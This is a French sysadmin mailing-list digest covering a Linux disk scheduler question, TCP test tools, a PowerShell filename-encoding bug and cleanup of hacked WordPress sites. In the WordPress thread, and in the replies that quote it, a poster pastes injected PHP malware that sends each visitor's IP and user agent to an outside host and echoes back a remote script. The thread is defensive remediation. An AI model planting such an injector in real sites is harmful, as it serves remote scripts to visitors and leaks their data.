[FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Olivier Bonvalet
Bonjour les gens,

j'ai un petit soucis sur quelques Debian Jessie qui tournent sur un
noyau 3.18 vanilla (compilé par moi même donc) : je ne vois poins de
scheduler !

# cat /sys/block/sda/queue/scheduler
 
none


Alors que : 
# grep IOSCHED /boot/config-`uname --kernel-release`
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_CFQ_GROUP_IOSCHED=y
CONFIG_DEFAULT_IOSCHED="cfq"


Du coup je me demande si ce n'est pas à cause du multi-queue qui change
la donne... mais je n'ai pas ce problème sur les VM en Xen PV.

Bref, une idée de ce qui a changé ?

merci d'avance !
Olivier

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Xavier Beaudouin
Hello,

elevator=deadline sur la ligne de commande grub.

BTW the sched cfq c'est plutôt le seul a ne pas utiliser en production... 

My 0,02€

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Olivier Bonvalet
Bah... le problème là c'est surtout qu'aucun scheduler ne semble actif.


Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a écrit :
> Hello,
> 
> elevator=deadline sur la ligne de commande grub.
> 
> BTW the sched cfq c'est plutôt le seul a ne pas utiliser en production... 
> 
> My 0,02€
> 
> 

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Greg
Bonjour,

que donnes cette commande ?

$ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config



Le 3 juin 2015 09:35, Olivier Bonvalet  a écrit :

> Bah... le problème là c'est surtout qu'aucun scheduler ne semble actif.
>
>
> Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a écrit :
> > Hello,
> >
> > elevator=deadline sur la ligne de commande grub.
> >
> > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en production...
> >
> > My 0,02€
> >
> >
>
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
>



-- 
Greg
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Olivier Bonvalet
Hello,

~$ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config-3.18-dae-intel 
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_CFQ_GROUP_IOSCHED=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_PADATA=y
CONFIG_ASN1=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_RWSEM_SPIN_ON_OWNER=y
CONFIG_ARCH_USE_QUEUE_RWLOCK=y
CONFIG_QUEUE_RWLOCK=y
CONFIG_FREEZER=y



Le mercredi 03 juin 2015 à 09:39 +0200, Greg a écrit :
> Bonjour,
> 
> 
> que donnes cette commande ?
> 
> 
> $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config
> 
> 
> 
> 
> 
> Le 3 juin 2015 09:35, Olivier Bonvalet  a
> écrit :
> Bah... le problème là c'est surtout qu'aucun scheduler ne
> semble actif.
> 
> 
> Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a
> écrit :
> > Hello,
> >
> > elevator=deadline sur la ligne de commande grub.
> >
> > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en
> production...
> >
> > My 0,02€
> >
> >
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
> 
> 
> 
> 
> 
> -- 
> Greg
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Détecteurs de malwares

2015-06-03 Thread Pierre
Hello,

Je me permet de relancer la discutions car j'ai presque le même problème
avec un client.

Sauf que le code change sur presque tout les fichiers.

Voici un exemple de code :

http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
$wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
(function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
{$wp_67188f = @file_get_contents($wp_f0967188);}^M
elseif (function_exists('fopen') &&
function_exists('stream_get_contents'))
{$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
#458ba2#
?>
Ou encore




J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe
pour arrive a faire un truc propre.

find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^//g'

Le seul point commun est un début 

J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner

Mais cela ne semble mal fonctionner avec mon problème.

Auriez vous une idée ?

Merci

Pierre


Le 20/05/2015 16:09, Julien Escario a écrit :
> Le 20/05/2015 07:14, Jonathan Leroy a écrit :
>> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier.
>>
>> J'en ai donc profité pour tester tous vos outils sur un des sites.
> 
>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux
>> fichiers de plus que Sucuri (mais en laisse passer un autre).
>> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)
> 
> Nice job !
> 
> Merci du retour.
> Julien
> 
> 
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
> 

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Détecteurs de malwares

2015-06-03 Thread Guillaume Tournat
 Fait déjà commencer par désactiver certaines fonctionnalités dangereuses dans 
php (disabled_functions dans php.ini)

Ensuite bloquer les requêtes http sortantes du serveur avec iptables. 



> Le 3 juin 2015 à 11:23, Pierre  a écrit :
> 
> Hello,
> 
> Je me permet de relancer la discutions car j'ai presque le même problème
> avec un client.
> 
> Sauf que le code change sur presque tout les fichiers.
> 
> Voici un exemple de code :
> 
>  #568ba2#
> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 =
> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i',
> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M
> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M
> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
> (function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
> {$wp_67188f = @file_get_contents($wp_f0967188);}^M
> elseif (function_exists('fopen') &&
> function_exists('stream_get_contents'))
> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
> #458ba2#
> ?>
> Ou encore
> 
>  #5a9312#
> 
> 
> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
> (function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
> {$wp_67188f = @file_get_contents($wp_f0967188);}^M
> elseif (function_exists('fopen') &&
> function_exists('stream_get_contents'))
> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
> #/5a9312#
> ?>
> 
> 
> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe
> pour arrive a faire un truc propre.
> 
> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^ *?>//g'
> 
> Le seul point commun est un début  fin un autre # saute de ligne ?>
> 
> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner
> 
> Mais cela ne semble mal fonctionner avec mon problème.
> 
> Auriez vous une idée ?
> 
> Merci
> 
> Pierre
> 
> 
> Le 20/05/2015 16:09, Julien Escario a écrit :
>> Le 20/05/2015 07:14, Jonathan Leroy a écrit :
>>> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier.
>>> 
>>> J'en ai donc profité pour tester tous vos outils sur un des sites.
>> 
>>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux
>>> fichiers de plus que Sucuri (mais en laisse passer un autre).
>>> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)
>> 
>> Nice job !
>> 
>> Merci du retour.
>> Julien
>> 
>> 
>> 
>> ___
>> Liste de diffusion du FRsAG
>> http://www.frsag.org/
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Détecteurs de malwares

2015-06-03 Thread Pierre
Yes c’était fait,
En soit le hacker ne pouvait pas vraiment utiliser les scripts.

Mais il faut nettoyer.

Après une longe matinée de recherche j'ai trouvé ce script :

https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-files-via-shell/

Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais
pas grand chose en python

Voici l'erreur que cela fait quand il trouvé un fichier infecté :

HIT
Traceback (most recent call last):
  File "./remove.py", line 38, in 
replaceStringInFile(os.path.join(directory, filename))
  File "./remove.py", line 19, in replaceStringInFile
fContent = unicode(inputFile.read(), "utf-8")
UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255:
invalid continuation byte


Merci

Pierre


En soit le pi
Le 03/06/2015 12:02, Guillaume Tournat a écrit :
>  Fait déjà commencer par désactiver certaines fonctionnalités dangereuses 
> dans php (disabled_functions dans php.ini)
> 
> Ensuite bloquer les requêtes http sortantes du serveur avec iptables. 
> 
> 
> 
>> Le 3 juin 2015 à 11:23, Pierre  a écrit :
>>
>> Hello,
>>
>> Je me permet de relancer la discutions car j'ai presque le même problème
>> avec un client.
>>
>> Sauf que le code change sur presque tout les fichiers.
>>
>> Voici un exemple de code :
>>
>> > #568ba2#
>> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 =
>> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i',
>> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M
>> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M
>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M
>> elseif (function_exists('fopen') &&
>> function_exists('stream_get_contents'))
>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
>> #458ba2#
>> ?>
>> Ou encore
>>
>> > #5a9312#
>>
>>
>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M
>> elseif (function_exists('fopen') &&
>> function_exists('stream_get_contents'))
>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
>> #/5a9312#
>> ?>
>>
>>
>> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe
>> pour arrive a faire un truc propre.
>>
>> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^> *?>//g'
>>
>> Le seul point commun est un début > fin un autre # saute de ligne ?>
>>
>> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner
>>
>> Mais cela ne semble mal fonctionner avec mon problème.
>>
>> Auriez vous une idée ?
>>
>> Merci
>>
>> Pierre
>>
>>
>> Le 20/05/2015 16:09, Julien Escario a écrit :
>>> Le 20/05/2015 07:14, Jonathan Leroy a écrit :
 J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés 
 hier.

 J'en ai donc profité pour tester tous vos outils sur un des sites.
>>>
 Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux
 fichiers de plus que Sucuri (mais en laisse passer un autre).
 J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)
>>>
>>> Nice job !
>>>
>>> Merci du retour.
>>> Julien
>>>
>>>
>>>
>>> ___
>>> Liste de diffusion du FRsAG
>>> http://www.frsag.org/
>>
>> ___
>> Liste de diffusion du FRsAG
>> http://www.frsag.org/

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Détecteurs de malwares

2015-06-03 Thread Pierre
UTF8 -> latin_1 ca fonctionne mieux.


Le 03/06/2015 12:40, Pierre a écrit :
> Yes c’était fait,
> En soit le hacker ne pouvait pas vraiment utiliser les scripts.
> 
> Mais il faut nettoyer.
> 
> Après une longe matinée de recherche j'ai trouvé ce script :
> 
> https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-files-via-shell/
> 
> Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais
> pas grand chose en python
> 
> Voici l'erreur que cela fait quand il trouvé un fichier infecté :
> 
> HIT
> Traceback (most recent call last):
>   File "./remove.py", line 38, in 
> replaceStringInFile(os.path.join(directory, filename))
>   File "./remove.py", line 19, in replaceStringInFile
> fContent = unicode(inputFile.read(), "utf-8")
> UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255:
> invalid continuation byte
> 
> 
> Merci
> 
> Pierre
> 
> 
> En soit le pi
> Le 03/06/2015 12:02, Guillaume Tournat a écrit :
>>  Fait déjà commencer par désactiver certaines fonctionnalités dangereuses 
>> dans php (disabled_functions dans php.ini)
>>
>> Ensuite bloquer les requêtes http sortantes du serveur avec iptables. 
>>
>>
>>
>>> Le 3 juin 2015 à 11:23, Pierre  a écrit :
>>>
>>> Hello,
>>>
>>> Je me permet de relancer la discutions car j'ai presque le même problème
>>> avec un client.
>>>
>>> Sauf que le code change sur presque tout les fichiers.
>>>
>>> Voici un exemple de code :
>>>
>>> >> #568ba2#
>>> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 =
>>> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i',
>>> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M
>>> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M
>>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
>>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
>>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
>>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
>>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
>>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M
>>> elseif (function_exists('fopen') &&
>>> function_exists('stream_get_contents'))
>>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
>>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
>>> #458ba2#
>>> ?>
>>> Ou encore
>>>
>>> >> #5a9312#
>>>
>>>
>>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch =
>>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt
>>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M
>>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif
>>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen'))
>>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M
>>> elseif (function_exists('fopen') &&
>>> function_exists('stream_get_contents'))
>>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M
>>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; }
>>> #/5a9312#
>>> ?>
>>>
>>>
>>> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe
>>> pour arrive a faire un truc propre.
>>>
>>> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^>> *?>//g'
>>>
>>> Le seul point commun est un début >> fin un autre # saute de ligne ?>
>>>
>>> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner
>>>
>>> Mais cela ne semble mal fonctionner avec mon problème.
>>>
>>> Auriez vous une idée ?
>>>
>>> Merci
>>>
>>> Pierre
>>>
>>>
>>> Le 20/05/2015 16:09, Julien Escario a écrit :
 Le 20/05/2015 07:14, Jonathan Leroy a écrit :
> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés 
> hier.
>
> J'en ai donc profité pour tester tous vos outils sur un des sites.

> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux
> fichiers de plus que Sucuri (mais en laisse passer un autre).
> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)

 Nice job !

 Merci du retour.
 Julien



 ___
 Liste de diffusion du FRsAG
 http://www.frsag.org/
>>>
>>> ___
>>> Liste de diffusion du FRsAG
>>> http://www.frsag.org/
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
> 

___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Tripatouillages des sessions TCP

2015-06-03 Thread Jeremie Le Hen
On Tue, Jun 02, 2015 at 02:42:09PM +0200, Artur wrote:
> Salut,
> 
> Je voudrais jouer un peu avec les sessions TCP pour vérifier les
> réactions d'une applications Web aux perturbations réseau entre le
> client et le serveur.
> Idéalement, je voudrais pouvoir lister les sessions TCP ouvertes, les
> suspendre, les interrompre, tout cela de façon sélective.
> A votre avis, quelques commandes ipfilter pourraient suffire, ou
> y'a-t-il des petits outils opensource sympas qui permettraient de faire
> ça sous Debian ?
> Je précise que je voudrais éviter de mettre en place des ponts filtrant
> transparents ou d'autres équipements intermédiaires entre le serveur et
> le client pour faire ça.

Dummynet est pas mal, il te permet, en utilisant les capacité de
matching de ton firewall, d'ajouter une latence, ou une bande passante
maximum.

http://info.iet.unipi.it/~luigi/dummynet/

Sur FreeBSD, où ça a été initialement développé, c'est très bien
intégré.  Sur Linux je ne sais pas comment c'est intégré.

https://www.freebsd.org/cgi/man.cgi?query=ipfw&sektion=8&apropos=0&manpath=FreeBSD+10.1-RELEASE#end

-- 
Jeremie Le Hen

Scientists say the world is made up of Protons, Neutrons and Electrons.
They forgot to mention Morons.
___
Liste de diffusion du FRsAG
http://www.frsag.org/


[FRsAG] problème avec diu powershell

2015-06-03 Thread tarik chichane
Bonjour,


je reviens vers vous pour un problème simple mais qui commence à peser lourd

j'ai un répertoire qui contient beaucoup de document word (une centaine).

je veux ajouter une ligne au début de chaque document qui contient la
mention document restreint.

là j'attaque la tâche avec du powershell

tout marche bien, tout est nickel, la ligne s'ajoute et le document est
bien modifié.

je passe en production et c'est la catastrophe.

tout les fichiers qui contiennent dans leur titre un accent ou un caractère
spéciale

sont catégoriquement rejeté et je ne peux pas les ouvrir.


mon script est

$file1 = "D:/matricule/DéPLOIMENT_V1.2.docx"
#$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx"
Try

#Open Microsoft Word and add text defined in $key then save

{

[ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type]

$word = New-Object -ComObject Word.Application

$word.visible = $false

$doc = $word.Documents.Add($file1)

$selection = $word.Selection

$selection.typeText($key)

$doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument)

}

#Catch

#If error occurs send email

#{

#Send-MailMessage -from $smtpFrom -subject $messageSubject -body
$messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25

#}

Finally

#Close Microsoft Word

{

$word.quit()

$word = $null
}

avec un fichier deploiement_server.docx ça marche

pour le même fichier avec le nom déploiement_server.docx

ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur
suivante

Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier
introuvable. »
Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : 27
+ $doc = $word.Documents.Add  ($file1)
+ CategoryInfo  : NotSpecified: (:) [],
MethodInvocationException
+ FullyQualifiedErrorId : ComMethodTargetInvocation


est ce que vous avez eu ce genre de problème et comment l'avez vous résolus.

si vous avez une autre approche je suis très intéressé de l'entendre


Tarik CHICHANE
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] problème avec diu powershell

2015-06-03 Thread Benjamin AVET
Quel est l'encodage utilisé pour écrire ton scritp ?

Le 3 juin 2015 17:15, tarik chichane  a écrit :

> Bonjour,
>
>
> je reviens vers vous pour un problème simple mais qui commence à peser
> lourd
>
> j'ai un répertoire qui contient beaucoup de document word (une centaine).
>
> je veux ajouter une ligne au début de chaque document qui contient la
> mention document restreint.
>
> là j'attaque la tâche avec du powershell
>
> tout marche bien, tout est nickel, la ligne s'ajoute et le document est
> bien modifié.
>
> je passe en production et c'est la catastrophe.
>
> tout les fichiers qui contiennent dans leur titre un accent ou un
> caractère spéciale
>
> sont catégoriquement rejeté et je ne peux pas les ouvrir.
>
>
> mon script est
>
> $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx"
> #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx"
> Try
>
> #Open Microsoft Word and add text defined in $key then save
>
> {
>
> [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type]
>
> $word = New-Object -ComObject Word.Application
>
> $word.visible = $false
>
> $doc = $word.Documents.Add($file1)
>
> $selection = $word.Selection
>
> $selection.typeText($key)
>
> $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument)
>
> }
>
> #Catch
>
> #If error occurs send email
>
> #{
>
> #Send-MailMessage -from $smtpFrom -subject $messageSubject -body
> $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25
>
> #}
>
> Finally
>
> #Close Microsoft Word
>
> {
>
> $word.quit()
>
> $word = $null
> }
>
> avec un fichier deploiement_server.docx ça marche
>
> pour le même fichier avec le nom déploiement_server.docx
>
> ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur
> suivante
>
> Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier
> introuvable. »
> Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère :
> 27
> + $doc = $word.Documents.Add  ($file1)
> + CategoryInfo  : NotSpecified: (:) [],
> MethodInvocationException
> + FullyQualifiedErrorId : ComMethodTargetInvocation
>
>
> est ce que vous avez eu ce genre de problème et comment l'avez vous
> résolus.
>
> si vous avez une autre approche je suis très intéressé de l'entendre
>
>
> Tarik CHICHANE
>
>
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
>
>
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] problème avec diu powershell

2015-06-03 Thread Lucas
Hum, fonctionne "out of the box" chez moi avec un fichier test.doc et
tést.doc

Le 3 juin 2015 19:18, Benjamin AVET  a écrit :

> Quel est l'encodage utilisé pour écrire ton scritp ?
>
> Le 3 juin 2015 17:15, tarik chichane  a
> écrit :
>
>> Bonjour,
>>
>>
>> je reviens vers vous pour un problème simple mais qui commence à peser
>> lourd
>>
>> j'ai un répertoire qui contient beaucoup de document word (une centaine).
>>
>> je veux ajouter une ligne au début de chaque document qui contient la
>> mention document restreint.
>>
>> là j'attaque la tâche avec du powershell
>>
>> tout marche bien, tout est nickel, la ligne s'ajoute et le document est
>> bien modifié.
>>
>> je passe en production et c'est la catastrophe.
>>
>> tout les fichiers qui contiennent dans leur titre un accent ou un
>> caractère spéciale
>>
>> sont catégoriquement rejeté et je ne peux pas les ouvrir.
>>
>>
>> mon script est
>>
>> $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx"
>> #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx"
>> Try
>>
>> #Open Microsoft Word and add text defined in $key then save
>>
>> {
>>
>> [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type]
>>
>> $word = New-Object -ComObject Word.Application
>>
>> $word.visible = $false
>>
>> $doc = $word.Documents.Add($file1)
>>
>> $selection = $word.Selection
>>
>> $selection.typeText($key)
>>
>> $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument)
>>
>> }
>>
>> #Catch
>>
>> #If error occurs send email
>>
>> #{
>>
>> #Send-MailMessage -from $smtpFrom -subject $messageSubject -body
>> $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25
>>
>> #}
>>
>> Finally
>>
>> #Close Microsoft Word
>>
>> {
>>
>> $word.quit()
>>
>> $word = $null
>> }
>>
>> avec un fichier deploiement_server.docx ça marche
>>
>> pour le même fichier avec le nom déploiement_server.docx
>>
>> ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur
>> suivante
>>
>> Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier
>> introuvable. »
>> Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère :
>> 27
>> + $doc = $word.Documents.Add  ($file1)
>> + CategoryInfo  : NotSpecified: (:) [],
>> MethodInvocationException
>> + FullyQualifiedErrorId : ComMethodTargetInvocation
>>
>>
>> est ce que vous avez eu ce genre de problème et comment l'avez vous
>> résolus.
>>
>> si vous avez une autre approche je suis très intéressé de l'entendre
>>
>>
>> Tarik CHICHANE
>>
>>
>> ___
>> Liste de diffusion du FRsAG
>> http://www.frsag.org/
>>
>>
>
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
>
>
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] problème avec diu powershell

2015-06-03 Thread Erwan Quimbert
Bonsoir, 
 En forcant le passage en nom court 8.3 ? 

> Le 3 juin 2015 à 19:31, Lucas  a écrit :
> 
> Hum, fonctionne "out of the box" chez moi avec un fichier test.doc et tést.doc
> 
> Le 3 juin 2015 19:18, Benjamin AVET  a écrit :
>> Quel est l'encodage utilisé pour écrire ton scritp ?
>> 
>> Le 3 juin 2015 17:15, tarik chichane  a écrit :
>>> Bonjour,
>>> 
>>> 
>>> je reviens vers vous pour un problème simple mais qui commence à peser lourd
>>> 
>>> j'ai un répertoire qui contient beaucoup de document word (une centaine).
>>> 
>>> je veux ajouter une ligne au début de chaque document qui contient la 
>>> mention document restreint.
>>> 
>>> là j'attaque la tâche avec du powershell
>>> 
>>> tout marche bien, tout est nickel, la ligne s'ajoute et le document est 
>>> bien modifié.
>>> 
>>> je passe en production et c'est la catastrophe.
>>> 
>>> tout les fichiers qui contiennent dans leur titre un accent ou un caractère 
>>> spéciale
>>> 
>>> sont catégoriquement rejeté et je ne peux pas les ouvrir.
>>> 
>>> 
>>> mon script est 
>>> 
>>> $file1 = "D:/matricule/DéPLOIMENT_V1.2.docx"
>>> #$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx"
>>> Try
>>> 
>>> #Open Microsoft Word and add text defined in $key then save
>>> 
>>> {
>>> 
>>> [ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type]
>>> 
>>> $word = New-Object -ComObject Word.Application
>>> 
>>> $word.visible = $false
>>> 
>>> $doc = $word.Documents.Add($file1)
>>> 
>>> $selection = $word.Selection
>>> 
>>> $selection.typeText($key)
>>> 
>>> $doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument)
>>> 
>>> }
>>> 
>>> #Catch
>>> 
>>> #If error occurs send email
>>> 
>>> #{
>>> 
>>> #Send-MailMessage -from $smtpFrom -subject $messageSubject -body 
>>> $messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25
>>> 
>>> #}
>>> 
>>> Finally
>>> 
>>> #Close Microsoft Word
>>> 
>>> {
>>> 
>>> $word.quit()
>>> 
>>> $word = $null
>>> }
>>> 
>>> avec un fichier deploiement_server.docx ça marche
>>> 
